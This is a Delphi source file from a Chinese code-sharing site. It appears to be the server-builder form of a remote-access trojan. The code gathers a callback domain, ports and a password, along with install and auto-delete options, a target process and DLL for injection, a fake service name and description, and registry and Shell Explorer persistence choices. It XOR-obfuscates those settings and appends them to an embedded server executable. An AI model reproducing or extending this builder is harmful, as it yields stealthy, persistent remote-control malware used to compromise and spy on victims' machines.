untServerCreator.pas
上传用户:sinothink
上传日期:2022-07-15
资源大小:459k
文件大小:6k
源码类别:

远程控制编程

开发平台:

Delphi

  1. {南域剑盟    www.98exe.com   上兴QQ:51992
  2.  声明:程序由南域剑盟98exe.com成员网上搜集,不承担技术及版权问题}
  3. unit untServerCreator;
  4. interface
  5. uses
  6.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  7.   Dialogs, StdCtrls, ExtCtrls, ComCtrls, jpeg;
  8. type
  9.   TForm7 = class(TForm)
  10.     CheckBox1: TCheckBox;
  11.     Bevel2: TBevel;
  12.     Label3: TLabel;
  13.     portEdit: TEdit;
  14.     Button1: TButton;
  15.     Label4: TLabel;
  16.     dnsEdit: TEdit;
  17.     Label5: TLabel;
  18.     passEdit: TEdit;
  19.     Button2: TButton;
  20.     ProgressBar1: TProgressBar;
  21.     Label6: TLabel;
  22.     Edit6: TEdit;
  23.     Label8: TLabel;
  24.     ComboBox1: TComboBox;
  25.     Label9: TLabel;
  26.     ComboBox2: TComboBox;
  27.     spSkinStdLabel1: TLabel;
  28.     ComboBoxDll: TComboBox;
  29.     spSkinStdLabel2: TLabel;
  30.     ComboBoxHost: TComboBox;
  31.     CheckBox2: TCheckBox;
  32.     CheckBox8: TCheckBox;
  33.     RadioBox1: TCheckBox;
  34.     Label14: TLabel;
  35.     ServerView: TEdit;
  36.     Label15: TLabel;
  37.     ServerName: TEdit;
  38.     Label16: TLabel;
  39.     ServerText: TEdit;
  40.     CheckBox9: TCheckBox;
  41.     CheckBox10: TCheckBox;
  42.     CheckBox11: TCheckBox;
  43.     RadioGroup1: TRadioGroup;
  44.     GrEdit3: TEdit;
  45.     Label7: TLabel;
  46.     dlgSave1: TSaveDialog;
  47.     procedure Button1Click(Sender: TObject);
  48.     procedure Button2Click(Sender: TObject);
  49.     function GatherInfo: String;
  50.   private
  51.     { Private declarations }
  52.   public
  53.     { Public declarations }
  54.   end;
  55. var
  56.   Form7: TForm7;
  57. implementation
  58. {$R *.dfm}
  59. procedure TForm7.Button1Click(Sender: TObject);
  60. begin
  61.   Randomize;
  62.   portEdit.Text := IntToStr(Random(10000)+100);
  63. end;
  64. Function EncryptText(Text: String): String;
  65. Var
  66.   I     :Word;
  67.   C     :Word;
  68. Begin
  69.   Result := '';
  70.   For I := 1 To Length(Text) Do
  71.     Begin
  72.       C := Ord(Text[I]);
  73.       Result := Result + Chr((C Xor 12));
  74.     End;
  75. End;
  76. function GetLength(Text: String): String;
  77. Begin
  78.   If (Length(Text) > 9) Then
  79.     Result := IntToStr(Length(Text))
  80.   Else
  81.     Result := '0'+IntToStr(Length(Text));
  82. End;
  83. function TForm7.GatherInfo: String;
  84. const
  85.   Qhead = '01';
  86. begin
  87.   Result :=
  88.   GetLength('')+''+            //URL转向域名
  89.   Qhead + inttostr(RadioGroup1.ItemIndex)+               //连接类型
  90.   GetLength(DnsEdit.Text)+DnsEdit.Text+                 //自己连接域名或IP地址
  91.   GetLength(portEdit.Text)+portEdit.Text+                     //被动连接端口
  92.   GetLength(portEdit.Text)+portEdit.Text+         //主动连接端口号
  93.   GetLength(passEdit.Text)+passEdit.Text+                   //连接密码
  94.   GetLength(GrEdit3.Text)+GrEdit3.Text+                 //上线分组
  95.   '02' + IntToStr(Integer(CheckBox8.Checked))+IntToStr(Integer(RadioBox1.Checked))+//Win9x下写入注册表启动项  01:以服务运行,10:注册自动启动  11:有自动启动也有以服务运行
  96.   Qhead + inttostr(ComboBox1.ItemIndex) +                //安装路径
  97.   GetLength(ComboBox2.Text)+ComboBox2.Text+              //安装名称
  98.   Qhead + IntToStr(Integer(CheckBox2.Checked))+          //自动删除安装文件
  99.   GetLength(ServerView.Text)+ServerView.Text+            //显示名称
  100.   GetLength(ServerName.Text)+ServerName.Text+            //服务名称
  101.   GetLength(ServerText.Text)+ServerText.Text+            //描述信息
  102.   GetLength(ComboBoxHost.Text)+ComboBoxHost.Text+        //注入的进程名称
  103.   GetLength(ComboBoxDll.Text)+ComboBoxDll.Text+          //Dll名称
  104.   Qhead + IntToStr(Integer(CheckBox9.Checked))+          //注册在HKEY_LOCAL_MACHINE
  105.   Qhead + IntToStr(Integer(CheckBox11.Checked))+          //注册在HKEY_CURRENT_USER
  106.   Qhead + IntToStr(Integer(CheckBox10.Checked));          //注册为Shell Explorer
  107.   Result := #00 + EncryptText(Result);
  108. end;
  109. Procedure ReadFileStr(dName: String; Var Content: String);
  110. Var
  111.   FContents     : File Of Char;
  112.   FBuffer       : Array [1..1024] Of Char;
  113.   rLen          : LongInt;
  114.   FSize         : LongInt;
  115. Begin
  116.   Try
  117.     Content := '';
  118.     AssignFile(FContents, dName);
  119.     Reset(FContents);
  120.     FSize := FileSize(FContents);
  121.     While Not EOF(FContents) Do
  122.     Begin
  123.       BlockRead(FContents, FBuffer, 1024, rLen);
  124.       Content := Content + String(FBuffer);
  125.     End;
  126.     CloseFile(FContents);
  127.     If Length(Content) > FSize Then
  128.       Content := Copy(Content, 1, FSize);
  129.   Except
  130.     Exit;
  131.   End;
  132. End;
  133. Function ExtractServer(dName: String): String;
  134. Var
  135.   ResultFilePath        :String;
  136.   ResourceLocation      :HRSRC;
  137.   ResourcePointer       :PChar;
  138.   ResourceSize          :LongWord;
  139.   BytesWritten          :LongWord;
  140.   ResDataHandle         :THandle;
  141.   FileHandle            :THandle;
  142. Begin
  143.   if  Form7.dlgSave1.Execute then
  144.   ResultFilePath := Form7.dlgSave1.FileName;//ExtractFilePath(ParamStr(0)) + 'Server.exe';
  145.   If (FileExists(ResultFilePath)) Then
  146.     DeleteFile(pChar(ResultFilePath));
  147.   ResourceLocation := FindResource(hInstance, pChar(dName), RT_RCDATA);
  148.   If ResourceLocation = 0 Then Exit;
  149.   ResourceSize := SizeOfResource(HInstance, ResourceLocation);
  150.   If ResourceSize = 0 Then Exit;
  151.   ResDataHandle := LoadResource(HInstance, ResourceLocation);
  152.   If ResDataHandle = 0 Then Exit;
  153.   ResourcePointer := LockResource(ResDataHandle);
  154.   If ResourcePointer = NIL Then Exit;
  155.   FileHandle := CreateFile(pChar(ResultFilePath), GENERIC_WRITE, FILE_SHARE_WRITE, NIL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  156.   If FileHandle = INVALID_HANDLE_VALUE Then Exit;
  157.   WriteFile(FileHandle, ResourcePointer^, ResourceSize, BytesWritten, NIL);
  158.   CloseHandle(FileHandle);
  159.   Result := ResultFilePath;
  160. End;
  161. procedure TForm7.Button2Click(Sender: TObject);
  162. Var
  163.   Settings      :String;
  164.   Content       :String;
  165.   Name          :String;
  166.   F             :TextFile;
  167. begin
  168.   ProgressBar1.Position := 0;
  169.   Settings := GatherInfo;
  170.   ProgressBar1.Position := 20;
  171.   Name := ExtractServer('DSN');
  172.   Sleep(200);
  173.   ReadFileStr(Name, Content);
  174.   ProgressBar1.Position := 50;
  175.   AssignFile(F, Name);
  176.   Append(F);
  177.   ProgressBar1.Position := 75;
  178.   Write(F, Settings);
  179.   ProgressBar1.Position := 90;
  180.   CloseFile(F);
  181.   ProgressBar1.Position := 0;
  182.   MessageBox(0, 'Server created successfully.', 'Notice', mb_ok);
  183. end;
  184. end.